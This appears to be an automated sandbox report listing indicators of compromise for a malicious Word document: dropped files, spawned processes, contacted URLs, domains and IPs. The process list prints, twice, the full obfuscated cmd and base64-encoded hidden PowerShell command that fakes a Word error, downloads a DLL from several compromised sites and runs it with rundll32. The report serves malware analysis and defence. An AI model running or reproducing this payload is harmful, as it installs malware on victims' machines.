IOCReport

loading gif

Files

File Path
Type
Category
Malicious
68254_2001.doc
initial sample
malicious
C:\Users\user\Ocmd_ke\Qqw8nbh\A30F.dll
PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
modified
malicious
C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506
Microsoft Cabinet archive data, 59134 bytes, 1 file
dropped
clean
C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\E0F5C59F9FA661F6F4C50B87FEF3A15A
data
dropped
clean
C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506
data
dropped
clean
C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E0F5C59F9FA661F6F4C50B87FEF3A15A
data
dropped
clean
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{A5D0E98E-EB6B-4CC4-8C38-663EBE143117}.tmp
data
dropped
clean
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{E76C12E2-1DC6-41B5-9D5C-624688043260}.tmp
data
dropped
clean
C:\Users\user\AppData\Local\Temp\Cab6327.tmp
Microsoft Cabinet archive data, 59134 bytes, 1 file
dropped
clean
C:\Users\user\AppData\Local\Temp\Tar6328.tmp
data
dropped
clean
C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\68254_2001.LNK
MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Wed Aug 26 14:08:16 2020, mtime=Wed Aug 26 14:08:16 2020, atime=Thu Jan 28 03:58:37 2021, length=161792, window=hide
dropped
clean
C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\index.dat
ASCII text, with CRLF line terminators
dropped
clean
C:\Users\user\AppData\Roaming\Microsoft\Templates\~$Normal.dotm
data
dropped
clean
C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\VX1BP06RV53T455RIFFL.temp
data
dropped
clean
C:\Users\user\Desktop\~$254_2001.doc
data
dropped
clean
There are 5 hidden files, click here to show them.

Processes

Path
Cmdline
Malicious
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
'C:\Program Files\Microsoft Office\Office14\WINWORD.EXE' /Automation -Embedding
malicious
C:\Windows\System32\cmd.exe
cmd cmd /c m^s^g %username% /v Wo^rd exp^erien^ced an er^ror tryi^ng to op^en th^e fi^le. & p^owe^rs^he^ll^ -w hi^dd^en -^e^nc IAAgACQAOQBNAHMANgAzACAAPQAgAFsAVAB5AFAAZQBdACgAIgB7ADAAfQB7ADIAfQB7ADEAfQB7ADMAfQAiACAALQBmACAAJwBTAFkAcwB0AEUAJwAsACcATwAuAEQAaQByAGUAYwAnACwAJwBtAC4ASQAnACwAJwB0AE8AcgBZACcAKQA7ACAAIABTAEUAdAAtAHYAQQByAEkAQQBCAGwAZQAgAHkAUQBLAG0AdAAgACAAKAAgACAAWwBUAHkAUABFAF0AKAAiAHsAMAB9AHsANQB9AHsANwB9AHsANAB9AHsAOAB9AHsAMQB9AHsANgB9AHsAMwB9AHsAMgB9ACIALQBmACcAUwBZAFMAJwAsACcASQBDAGUAcABvAEkAbgBUACcALAAnAGUAUgAnACwAJwBBAEcAJwAsACcALgBTAGUAUgAnACwAJwB0AEUATQAuAE4AZQAnACwAJwBtAEEATgAnACwAJwBUACcALAAnAFYAJwApACAAKQA7ACAAJABCAGIAMgB1ADIAYwA5AD0AJABYADIANwBGACAAKwAgAFsAYwBoAGEAcgBdACgANgA0ACkAIAArACAAJABaADEAMgBHADsAJABSADgANABGAD0AKAAnAFEAMgAnACsAJwAwAEwAJwApADsAIAAgACgAIAAgAGMAaABpAEwAZABpAHQAZQBtACAAdgBhAFIAaQBhAGIAbABlADoAOQBNAFMANgAzACkALgB2AGEAbAB1AEUAOgA6ACIAYwByAEUAYQB0AEUAYABEAEkAYABSAGUAYwBUAE8AUgB5ACIAKAAkAEgATwBNAEUAIAArACAAKAAoACcAVwAnACsAJwAwAGYAJwArACcATwAnACsAJwBjAG0AJwArACcAZABfACcAKwAnAGsAJwArACgAJwBlAFcAMAAnACsAJwBmACcAKQArACgAJwBRAHEAdwA4AG4AYgAnACsAJwBoAFcAJwArACcAMABmACcAKQApAC4AIgBSAEUAYABwAEwAYQBjAEUAIgAoACgAWwBDAEgAQQBSAF0AOAA3ACsAWwBDAEgAQQBSAF0ANAA4ACsAWwBDAEgAQQBSAF0AMQAwADIAKQAsACcAXAAnACkAKQApADsAJABNADYANwBOAD0AKAAoACcATQAnACsAJwAyADkAJwApACsAJwBEACcAKQA7ACAAIAAkAFkAUQBLAE0AdAA6ADoAIgBzAEUAQwBgAFUAYABSAEkAdABgAFkAUAByAG8AdABgAE8AYwBvAGwAIgAgAD0AIAAoACcAVAAnACsAKAAnAGwAJwArACcAcwAxADIAJwApACkAOwAkAEwAMQAwAEIAPQAoACcAUAAnACsAKAAnADYAOAAnACsAJwBSACcAKQApADsAJABVAHoAaQAxAGgAMQBxACAAPQAgACgAJwBBACcAKwAoACcAMwAwACcAKwAnAEYAJwApACkAOwAkAEwANQA1AE8APQAoACcAVAAnACsAKAAnADYANwAnACsAJwBZACcAKQApADsAJABSAGQAdABhAGwANAB2AD0AJABIAE8ATQBFACsAKAAoACcAewAwAH0ATwBjAG0AJwArACcAZAAnACsAJwBfAGsAZQB7ACcAKwAnADAAfQBRAHEAJwArACgAJwB3ACcAKwAnADgAbgBiACcAKQArACcAaAAnACsAJwB7ADAAfQAnACkALQBGAFsAQwBoAGEAUgBdADkAMgApACsAJABVAHoAaQAxAGgAMQBxACsAKAAnAC4AZAAnACsAJwBsAGwAJwApADsAJABMADcAMgBRAD0AKAAnAFgANAAnACsAJwBfAFMAJwApADsAJABOAHMAegBvADgAaQAxAD0AKAAnAHMAZwAnACsAKAAnACAAeQB3ACcAKwAnACAAYQAnACkAKwAoACcAaAA6AC8ALwBrAGUAdAAnACsAJwBvAHIAJwArACcAZQAnACkAKwAoACcAcwBlACcAKwAnAHQAJwApACsAKAAnAG0AJwArACcAZQAuAGMAbwBtAC8AJwApACsAKAAnAHcAJwArACcAcAAtACcAKQArACgAJwBjACcAKwAnAG8AbgAnACkAKwAnAHQAJwArACcAZQAnACsAKAAnAG4AdAAnACsAJwAvAFIAawAnACkAKwAnADQAcgAnACsAJwB6AC8AJwArACgAJwBAAHMAJwArACcAZwAgAHkAdwAnACsAJwAgAGEAJwApACsAJwBoACcAKwAnADoALwAnACsAJwAvAGkAJwArACgAJwBuAHQAZQAnACsAJwBsAGwAaQAnACkAKwAnAHMAJwArACgAJwBhACcAKwAnAHYAdgB5AC4AYwAnACkAKwAnAG8AJwArACcAbQAvACcAKwAoACcAdwBwACcAKwAnAC0AJwApACsAKAAnAGEAZABtAGkAbgAnACsAJwAvAGQAJwArACcAUgAnACkAKwAnAGEARwAnACsAKAAnADIASAAnACsAJwAvAEAAcwBnACcAKQArACcAIAAnACsAKAAnAHkAJwArACcAdwAgACcAKQArACgAJwBhACcAKwAnAGgAcwA6ACcAKQArACcALwAnACsAJwAvAG0AJwArACgAJwByAHYAJwArACcAZQAnACsAJwBnAGcAeQAuAGMAJwApACsAKAAnAG8AJwArACcAbQAvACcAKQArACcAdwBwACcAKwAoACcALQBhAGQAbQAnACsAJwBpACcAKQArACgAJwBuAC8AJwArACcAbgAnACkAKwAnAC8AQAAnACsAJwBzACcAKwAnAGcAIAAnACsAKAAnAHkAdwAgAGEAaABzACcAKwAnADoALwAvAGgAJwArACcAYgAnACkAKwAnAHAAcgAnACsAKAAnAGkAdgBpAGwAZQAnACsAJwBnACcAKwAnAGUAZAAnACkAKwAoACcALgBjAG8AbQAnACsAJwAvAGMAJwArACcAZwBpACcAKwAnAC0AYgBpAG4ALwBRACcAKQArACgAJwBnACcAKwAnAC8AQAAnACkAKwAoACcAcwAnACsAJwBnACAAJwApACsAJwB5AHcAJwArACgAJwAgAGEAaABzADoAJwArACcALwAnACkAKwAoACcALwB0AGgAZQBvACcAKwAnAC4AJwApACsAJwBkACcAKwAoACcAaQBnACcAKwAnAGkAJwApACsAKAAnAHQAYQBsACcAKwAnAC8AdwAnACkAKwAoACcAcAAnACsAJwAtAGEAZAAnACsAJwBtAGkAbgAnACkAKwAoACcALwAnACsAJwBaAHkAbAAnACkAKwAnADIAJwArACgAJwAvAEAAJwArACcAcwAnACkAKwAnAGcAIAAnACsAKAAnAHkAdwAgAGEAaAAnACsAJwBzADoAJwArACcALwAvAHUAJwApACsAJwBtAG0AJwArACcAYQBoACcAKwAnAHMAJwArACgAJwB0AGEAJwArACcAcgBzAC4AJwApACsAKAAnAGMAJwArACcAbwBtAC8AJwApACsAJwBhACcAKwAnAHAAcAAnACsAJwBfACcAKwAnAG8AbAAnACsAJwBkACcAKwAnAF8AbQAnACsAJwBhACcAKwAoACcAeQBfACcAKwAnADIAJwApACsAJwAwACcAKwAnADEAOAAnACsAJwAvAGEAJwArACgAJwBzAHMAZQB0ACcAKwAnAHMAJwApACsAKAAnAC8AJwArACcAdwBEAEwAOAB4AC8AQABzAGcAJwArACcAIAAnACkAKwAoACcAeQB3ACcAKwAnACAAYQBoAHMAOgAvACcAKQArACcALwB3ACcAKwAnAHcAJwArACgAJwB3AC4AdAAnACsAJwBlAGUAJwApACsAKAAnAGwAZQAnACsAJwBrAGQAZQBkACcAKQArACcALgBjACcAKwAoACcAbwBtACcAKwAnAC8AYwAnACkAKwAoACcAZwBpAC0AYgAnACsAJwBpACcAKQArACgAJwBuACcAKwAnAC8ATAAnACkAKwAoACcAUAAnACsAJwBvAC8AJwApACkALgAiAFIAYABlAFAAbABhAEMARQAiACgAKAAoACcAcwBnACcAKwAnACAAeQB3ACcAKQArACgAJwAgAGEAJwArACcAaAAnACkAKQAsACgAWwBhAHIAcgBhAHkAXQAoACgAKAAnAGQAcwBlACcAKwAnAHcAJwApACsAJwBmACcAKQAsACgAKAAnAHcAZQAnACsAJwB2ACcAKQArACcAdwBlACcAKQApACwAKAAoACcAYQAnACsAJwBlAGYAJwApACsAJwBmACcAKQAsACgAKAAnAGgAdAAnACsAJwB0ACcAKQArACcAcAAnACkAKQBbADIAXQApAC4AIgBTAFAAbABgAEkAVAAiACgAJABRADAANABQACAAKwAgACQAQgBiADIAdQAyAGMAOQAgACsAIAAkAEUANgAyAFgAKQA7ACQARwA3ADQAWAA9ACgAKAAnAEMAOAAnACsAJwAzACcAKQArACcARAAnACkAOwBmAG8AcgBlAGEAYwBoACAAKAAkAFYAegB2ADMAMgBkADIAIABpAG4AIAAkAE4AcwB6AG8AOABpADEAKQB7AHQAcgB5AHsAKAAuACgAJwBOAGUAJwArACcAdwAtAE8AYgBqACcAKwAnAGUAYwAnACsAJwB0ACcAKQAgAFMAeQBzAFQARQBNAC4AbgBlAHQALgB3AGUAQgBDAEwASQBlAG4AdAApAC4AIgBEAG8AYAB3AGAATgBsAG8AYABBAEQARgBJAEwARQAiACgAJABWAHoAdgAzADIAZAAyACwAIAAkAFIAZAB0AGEAbAA0AHYAKQA7ACQAWAA2AF8AVQA9ACgAJwBBACcAKwAoACcANAAxACcAKwAnAEUAJwApACkAOwBJAGYAIAAoACgALgAoACcARwAnACsAJwBlAHQALQBJAHQAZQBtACcAKQAgACQAUgBkAHQAYQBsADQAdgApAC4AIgBsAGAARQBuAGcAdABIACIAIAAtAGcAZQAgADQAMwAxADMAMgApACAAewAuACgAJwByAHUAbgBkAGwAbAAnACsAJwAzADIAJwApACAAJABSAGQAdABhAGwANAB2ACwAKAAoACcAQQBuAHkAUwAnACsAJwB0AHIAJwApACsAJwBpACcAKwAnAG4AZwAnACkALgAiAFQATwBgAFMAVAByAGAASQBuAGcAIgAoACkAOwAkAEYAMgBfAFkAPQAoACcAQwAnACsAKAAnADAAJwArACcAMwBWACcAKQApADsAYgByAGUAYQBrADsAJABLADgAOQBaAD0AKAAnAEcAMwAnACsAJwA2AEwAJwApAH0AfQBjAGEAdABjAGgAewB9AH0AJABDADAAMABLAD0AKAAnAFgAJwArACgAJwA2ADUAJwArACcASAAnACkAKQA=
malicious
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -w hidden -enc IAAgACQAOQBNAHMANgAzACAAPQAgAFsAVAB5AFAAZQBdACgAIgB7ADAAfQB7ADIAfQB7ADEAfQB7ADMAfQAiACAALQBmACAAJwBTAFkAcwB0AEUAJwAsACcATwAuAEQAaQByAGUAYwAnACwAJwBtAC4ASQAnACwAJwB0AE8AcgBZACcAKQA7ACAAIABTAEUAdAAtAHYAQQByAEkAQQBCAGwAZQAgAHkAUQBLAG0AdAAgACAAKAAgACAAWwBUAHkAUABFAF0AKAAiAHsAMAB9AHsANQB9AHsANwB9AHsANAB9AHsAOAB9AHsAMQB9AHsANgB9AHsAMwB9AHsAMgB9ACIALQBmACcAUwBZAFMAJwAsACcASQBDAGUAcABvAEkAbgBUACcALAAnAGUAUgAnACwAJwBBAEcAJwAsACcALgBTAGUAUgAnACwAJwB0AEUATQAuAE4AZQAnACwAJwBtAEEATgAnACwAJwBUACcALAAnAFYAJwApACAAKQA7ACAAJABCAGIAMgB1ADIAYwA5AD0AJABYADIANwBGACAAKwAgAFsAYwBoAGEAcgBdACgANgA0ACkAIAArACAAJABaADEAMgBHADsAJABSADgANABGAD0AKAAnAFEAMgAnACsAJwAwAEwAJwApADsAIAAgACgAIAAgAGMAaABpAEwAZABpAHQAZQBtACAAdgBhAFIAaQBhAGIAbABlADoAOQBNAFMANgAzACkALgB2AGEAbAB1AEUAOgA6ACIAYwByAEUAYQB0AEUAYABEAEkAYABSAGUAYwBUAE8AUgB5ACIAKAAkAEgATwBNAEUAIAArACAAKAAoACcAVwAnACsAJwAwAGYAJwArACcATwAnACsAJwBjAG0AJwArACcAZABfACcAKwAnAGsAJwArACgAJwBlAFcAMAAnACsAJwBmACcAKQArACgAJwBRAHEAdwA4AG4AYgAnACsAJwBoAFcAJwArACcAMABmACcAKQApAC4AIgBSAEUAYABwAEwAYQBjAEUAIgAoACgAWwBDAEgAQQBSAF0AOAA3ACsAWwBDAEgAQQBSAF0ANAA4ACsAWwBDAEgAQQBSAF0AMQAwADIAKQAsACcAXAAnACkAKQApADsAJABNADYANwBOAD0AKAAoACcATQAnACsAJwAyADkAJwApACsAJwBEACcAKQA7ACAAIAAkAFkAUQBLAE0AdAA6ADoAIgBzAEUAQwBgAFUAYABSAEkAdABgAFkAUAByAG8AdABgAE8AYwBvAGwAIgAgAD0AIAAoACcAVAAnACsAKAAnAGwAJwArACcAcwAxADIAJwApACkAOwAkAEwAMQAwAEIAPQAoACcAUAAnACsAKAAnADYAOAAnACsAJwBSACcAKQApADsAJABVAHoAaQAxAGgAMQBxACAAPQAgACgAJwBBACcAKwAoACcAMwAwACcAKwAnAEYAJwApACkAOwAkAEwANQA1AE8APQAoACcAVAAnACsAKAAnADYANwAnACsAJwBZACcAKQApADsAJABSAGQAdABhAGwANAB2AD0AJABIAE8ATQBFACsAKAAoACcAewAwAH0ATwBjAG0AJwArACcAZAAnACsAJwBfAGsAZQB7ACcAKwAnADAAfQBRAHEAJwArACgAJwB3ACcAKwAnADgAbgBiACcAKQArACcAaAAnACsAJwB7ADAAfQAnACkALQBGAFsAQwBoAGEAUgBdADkAMgApACsAJABVAHoAaQAxAGgAMQBxACsAKAAnAC4AZAAnACsAJwBsAGwAJwApADsAJABMADcAMgBRAD0AKAAnAFgANAAnACsAJwBfAFMAJwApADsAJABOAHMAegBvADgAaQAxAD0AKAAnAHMAZwAnACsAKAAnACAAeQB3ACcAKwAnACAAYQAnACkAKwAoACcAaAA6AC8ALwBrAGUAdAAnACsAJwBvAHIAJwArACcAZQAnACkAKwAoACcAcwBlACcAKwAnAHQAJwApACsAKAAnAG0AJwArACcAZQAuAGMAbwBtAC8AJwApACsAKAAnAHcAJwArACcAcAAtACcAKQArACgAJwBjACcAKwAnAG8AbgAnACkAKwAnAHQAJwArACcAZQAnACsAKAAnAG4AdAAnACsAJwAvAFIAawAnACkAKwAnADQAcgAnACsAJwB6AC8AJwArACgAJwBAAHMAJwArACcAZwAgAHkAdwAnACsAJwAgAGEAJwApACsAJwBoACcAKwAnADoALwAnACsAJwAvAGkAJwArACgAJwBuAHQAZQAnACsAJwBsAGwAaQAnACkAKwAnAHMAJwArACgAJwBhACcAKwAnAHYAdgB5AC4AYwAnACkAKwAnAG8AJwArACcAbQAvACcAKwAoACcAdwBwACcAKwAnAC0AJwApACsAKAAnAGEAZABtAGkAbgAnACsAJwAvAGQAJwArACcAUgAnACkAKwAnAGEARwAnACsAKAAnADIASAAnACsAJwAvAEAAcwBnACcAKQArACcAIAAnACsAKAAnAHkAJwArACcAdwAgACcAKQArACgAJwBhACcAKwAnAGgAcwA6ACcAKQArACcALwAnACsAJwAvAG0AJwArACgAJwByAHYAJwArACcAZQAnACsAJwBnAGcAeQAuAGMAJwApACsAKAAnAG8AJwArACcAbQAvACcAKQArACcAdwBwACcAKwAoACcALQBhAGQAbQAnACsAJwBpACcAKQArACgAJwBuAC8AJwArACcAbgAnACkAKwAnAC8AQAAnACsAJwBzACcAKwAnAGcAIAAnACsAKAAnAHkAdwAgAGEAaABzACcAKwAnADoALwAvAGgAJwArACcAYgAnACkAKwAnAHAAcgAnACsAKAAnAGkAdgBpAGwAZQAnACsAJwBnACcAKwAnAGUAZAAnACkAKwAoACcALgBjAG8AbQAnACsAJwAvAGMAJwArACcAZwBpACcAKwAnAC0AYgBpAG4ALwBRACcAKQArACgAJwBnACcAKwAnAC8AQAAnACkAKwAoACcAcwAnACsAJwBnACAAJwApACsAJwB5AHcAJwArACgAJwAgAGEAaABzADoAJwArACcALwAnACkAKwAoACcALwB0AGgAZQBvACcAKwAnAC4AJwApACsAJwBkACcAKwAoACcAaQBnACcAKwAnAGkAJwApACsAKAAnAHQAYQBsACcAKwAnAC8AdwAnACkAKwAoACcAcAAnACsAJwAtAGEAZAAnACsAJwBtAGkAbgAnACkAKwAoACcALwAnACsAJwBaAHkAbAAnACkAKwAnADIAJwArACgAJwAvAEAAJwArACcAcwAnACkAKwAnAGcAIAAnACsAKAAnAHkAdwAgAGEAaAAnACsAJwBzADoAJwArACcALwAvAHUAJwApACsAJwBtAG0AJwArACcAYQBoACcAKwAnAHMAJwArACgAJwB0AGEAJwArACcAcgBzAC4AJwApACsAKAAnAGMAJwArACcAbwBtAC8AJwApACsAJwBhACcAKwAnAHAAcAAnACsAJwBfACcAKwAnAG8AbAAnACsAJwBkACcAKwAnAF8AbQAnACsAJwBhACcAKwAoACcAeQBfACcAKwAnADIAJwApACsAJwAwACcAKwAnADEAOAAnACsAJwAvAGEAJwArACgAJwBzAHMAZQB0ACcAKwAnAHMAJwApACsAKAAnAC8AJwArACcAdwBEAEwAOAB4AC8AQABzAGcAJwArACcAIAAnACkAKwAoACcAeQB3ACcAKwAnACAAYQBoAHMAOgAvACcAKQArACcALwB3ACcAKwAnAHcAJwArACgAJwB3AC4AdAAnACsAJwBlAGUAJwApACsAKAAnAGwAZQAnACsAJwBrAGQAZQBkACcAKQArACcALgBjACcAKwAoACcAbwBtACcAKwAnAC8AYwAnACkAKwAoACcAZwBpAC0AYgAnACsAJwBpACcAKQArACgAJwBuACcAKwAnAC8ATAAnACkAKwAoACcAUAAnACsAJwBvAC8AJwApACkALgAiAFIAYABlAFAAbABhAEMARQAiACgAKAAoACcAcwBnACcAKwAnACAAeQB3ACcAKQArACgAJwAgAGEAJwArACcAaAAnACkAKQAsACgAWwBhAHIAcgBhAHkAXQAoACgAKAAnAGQAcwBlACcAKwAnAHcAJwApACsAJwBmACcAKQAsACgAKAAnAHcAZQAnACsAJwB2ACcAKQArACcAdwBlACcAKQApACwAKAAoACcAYQAnACsAJwBlAGYAJwApACsAJwBmACcAKQAsACgAKAAnAGgAdAAnACsAJwB0ACcAKQArACcAcAAnACkAKQBbADIAXQApAC4AIgBTAFAAbABgAEkAVAAiACgAJABRADAANABQACAAKwAgACQAQgBiADIAdQAyAGMAOQAgACsAIAAkAEUANgAyAFgAKQA7ACQARwA3ADQAWAA9ACgAKAAnAEMAOAAnACsAJwAzACcAKQArACcARAAnACkAOwBmAG8AcgBlAGEAYwBoACAAKAAkAFYAegB2ADMAMgBkADIAIABpAG4AIAAkAE4AcwB6AG8AOABpADEAKQB7AHQAcgB5AHsAKAAuACgAJwBOAGUAJwArACcAdwAtAE8AYgBqACcAKwAnAGUAYwAnACsAJwB0ACcAKQAgAFMAeQBzAFQARQBNAC4AbgBlAHQALgB3AGUAQgBDAEwASQBlAG4AdAApAC4AIgBEAG8AYAB3AGAATgBsAG8AYABBAEQARgBJAEwARQAiACgAJABWAHoAdgAzADIAZAAyACwAIAAkAFIAZAB0AGEAbAA0AHYAKQA7ACQAWAA2AF8AVQA9ACgAJwBBACcAKwAoACcANAAxACcAKwAnAEUAJwApACkAOwBJAGYAIAAoACgALgAoACcARwAnACsAJwBlAHQALQBJAHQAZQBtACcAKQAgACQAUgBkAHQAYQBsADQAdgApAC4AIgBsAGAARQBuAGcAdABIACIAIAAtAGcAZQAgADQAMwAxADMAMgApACAAewAuACgAJwByAHUAbgBkAGwAbAAnACsAJwAzADIAJwApACAAJABSAGQAdABhAGwANAB2ACwAKAAoACcAQQBuAHkAUwAnACsAJwB0AHIAJwApACsAJwBpACcAKwAnAG4AZwAnACkALgAiAFQATwBgAFMAVAByAGAASQBuAGcAIgAoACkAOwAkAEYAMgBfAFkAPQAoACcAQwAnACsAKAAnADAAJwArACcAMwBWACcAKQApADsAYgByAGUAYQBrADsAJABLADgAOQBaAD0AKAAnAEcAMwAnACsAJwA2AEwAJwApAH0AfQBjAGEAdABjAGgAewB9AH0AJABDADAAMABLAD0AKAAnAFgAJwArACgAJwA2ADUAJwArACcASAAnACkAKQA=
malicious
C:\Windows\System32\rundll32.exe
'C:\Windows\system32\rundll32.exe' C:\Users\user\Ocmd_ke\Qqw8nbh\A30F.dll AnyString
malicious
C:\Windows\SysWOW64\rundll32.exe
'C:\Windows\system32\rundll32.exe' C:\Users\user\Ocmd_ke\Qqw8nbh\A30F.dll AnyString
malicious
C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe 'C:\Users\user\Ocmd_ke\Qqw8nbh\A30F.dll',#1
malicious
C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Fqtgesmysxdwyacz\egqmlweitpkpoyg.oym',EFdBQhtlp
malicious
C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Fqtgesmysxdwyacz\egqmlweitpkpoyg.oym',#1
malicious
C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Wdsoicjmrbzpb\qoakbojlblcm.udm',EsaISiHxs
malicious
C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Wdsoicjmrbzpb\qoakbojlblcm.udm',#1
malicious
C:\Windows\System32\msg.exe
msg user /v Word experienced an error trying to open the file.
clean
There are 1 hidden processes, click here to show them.

URLs

Name
IP
Malicious
https://ummahstars.com
unknown
malicious
https://hbprivileged.com
unknown
malicious
https://mrveggy.com/wp-admin/n/
unknown
malicious
https://www.teelekded.com/cgi-bin/LPo/
unknown
malicious
https://ummahstars.com/app_old_may_2018/assets/wDL8x/
unknown
malicious
http://ketoresetme.com/wp-content/Rk4rz/
70.32.23.58
malicious
https://theo.digital
unknown
malicious
http://intellisavvy.com
unknown
malicious
http://intellisavvy.com/wp-admin/dRaG2H/
192.124.249.8
malicious
https://mrveggy.com
unknown
malicious
https://hbprivileged.com/cgi-bin/Qg/
unknown
malicious
http://51.15.7.145/mcbf10vnnn8hf/qv9l36h26wgbq5tqf/
51.15.7.145
malicious
https://www.teelekded.com/cgi-bin/LPo/P
unknown
malicious
https://theo.digital/wp-admin/Zyl2/
unknown
malicious
http://ketoresetme.com
unknown
malicious
http://www.msnbc.com/news/ticker.txt
unknown
clean
http://ocsp.sectigo.com0
unknown
clean
https://hbprivileged.comhB
unknown
clean
http://ocsp.entrust.net03
unknown
clean
http://certificates.godaddy.com/repository/0
unknown
clean
http://www.piriform.com/ccleaneN
unknown
clean
http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0
unknown
clean
https://intellisavvy.com
unknown
clean
http://www.diginotar.nl/cps/pkioverheid0
unknown
clean
https://intellisavvy.comh
unknown
clean
http://www.icra.org/vocabulary/.
unknown
clean
https://intellisavvy.com/wp-admin/dRaG2H/
unknown
clean
http://investor.msn.com/
unknown
clean
https://sectigo.com/CPS0D
unknown
clean
http://r3.o.lencr.org0
unknown
clean
http://www.%s.comPA
unknown
clean
http://certificates.godaddy.com/repository/gdig2.crt0
unknown
clean
http://ocsp.entrust.net0D
unknown
clean
http://servername/isapibackend.dll
unknown
clean
http://cps.root-x1.letsencrypt.org0
unknown
clean
http://r3.i.lencr.org/0%
unknown
clean
http://www.windows.com/pctv.
unknown
clean
http://investor.msn.com
unknown
clean
http://crl.entrust.net/server1.crl0
unknown
clean
http://cps.letsencrypt.org0
unknown
clean
http://certs.godaddy.com/repository/1301
unknown
clean
https://certs.godaddy.com/repository/0
unknown
clean
http://windowsmedia.com/redir/services.asp?WMPFriendly=true
unknown
clean
http://www.hotmail.com/oe
unknown
clean
http://services.msn.com/svcs/oe/certpage.asp?name=%s&email=%s&&Check
unknown
clean
http://crl.godaddy.com/gdroot-g2.crl0F
unknown
clean
http://crl.sectigo.com/SectigoRSATimeStampingCA.crl0t
unknown
clean
http://crl.pkioverheid.nl/DomOvLatestCRL.crl0
unknown
clean
http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous.
unknown
clean
http://www.piriform.com/ccleanerhttp://www.piriform.com/ccleanerv
unknown
clean
http://crl.godaddy.com/gdig2s1-1814.crl0
unknown
clean
http://crt.sectigo.com/SectigoRSATimeStampingCA.crt0#
unknown
clean
http://crl.godaddy.com/gdroot.crl0F
unknown
clean
https://secure.comodo.com/CPS0
unknown
clean
http://crl.entrust.net/2048ca.crl0
unknown
clean
There are 45 hidden URLs, click here to show them.

Domains

Name
IP
Malicious
hbprivileged.com
35.209.96.32
malicious
mrveggy.com
177.12.170.95
malicious
theo.digital
35.209.174.246
malicious
ummahstars.com
35.163.191.195
malicious
intellisavvy.com
192.124.249.8
malicious
ketoresetme.com
70.32.23.58
malicious

IPs

IP
Domain
Country
Active
Malicious
217.160.169.110
unknown
Germany
unknown
malicious
51.255.203.164
unknown
France
unknown
malicious
70.32.23.58
unknown
United States
unknown
malicious
35.209.174.246
unknown
United States
unknown
malicious
35.163.191.195
unknown
United States
unknown
malicious
192.124.249.8
unknown
United States
unknown
malicious
51.15.7.145
unknown
France
unknown
malicious
177.12.170.95
unknown
Brazil
unknown
malicious
35.209.96.32
unknown
United States
unknown
malicious
84.232.229.24
unknown
Romania
unknown
malicious

Registry

Path
Value
Malicious
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
lg7
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
MTTT
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
fh7
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
~i7
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
VBAFiles
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
ReviewToken
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
ED356
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@Arial Unicode MS
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@Batang
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@BatangChe
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@DFKai-SB
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@Dotum
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@DotumChe
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@FangSong
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@Gulim
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@GulimChe
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@Gungsuh
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@GungsuhChe
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@KaiTi
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@Malgun Gothic
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@Meiryo
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@Meiryo UI
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@Microsoft JhengHei
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@Microsoft YaHei
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@MingLiU
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@MingLiU_HKSCS
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@MingLiU_HKSCS-ExtB
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@MingLiU-ExtB
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@MS Gothic
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@MS Mincho
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@MS PGothic
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@MS PMincho
clean
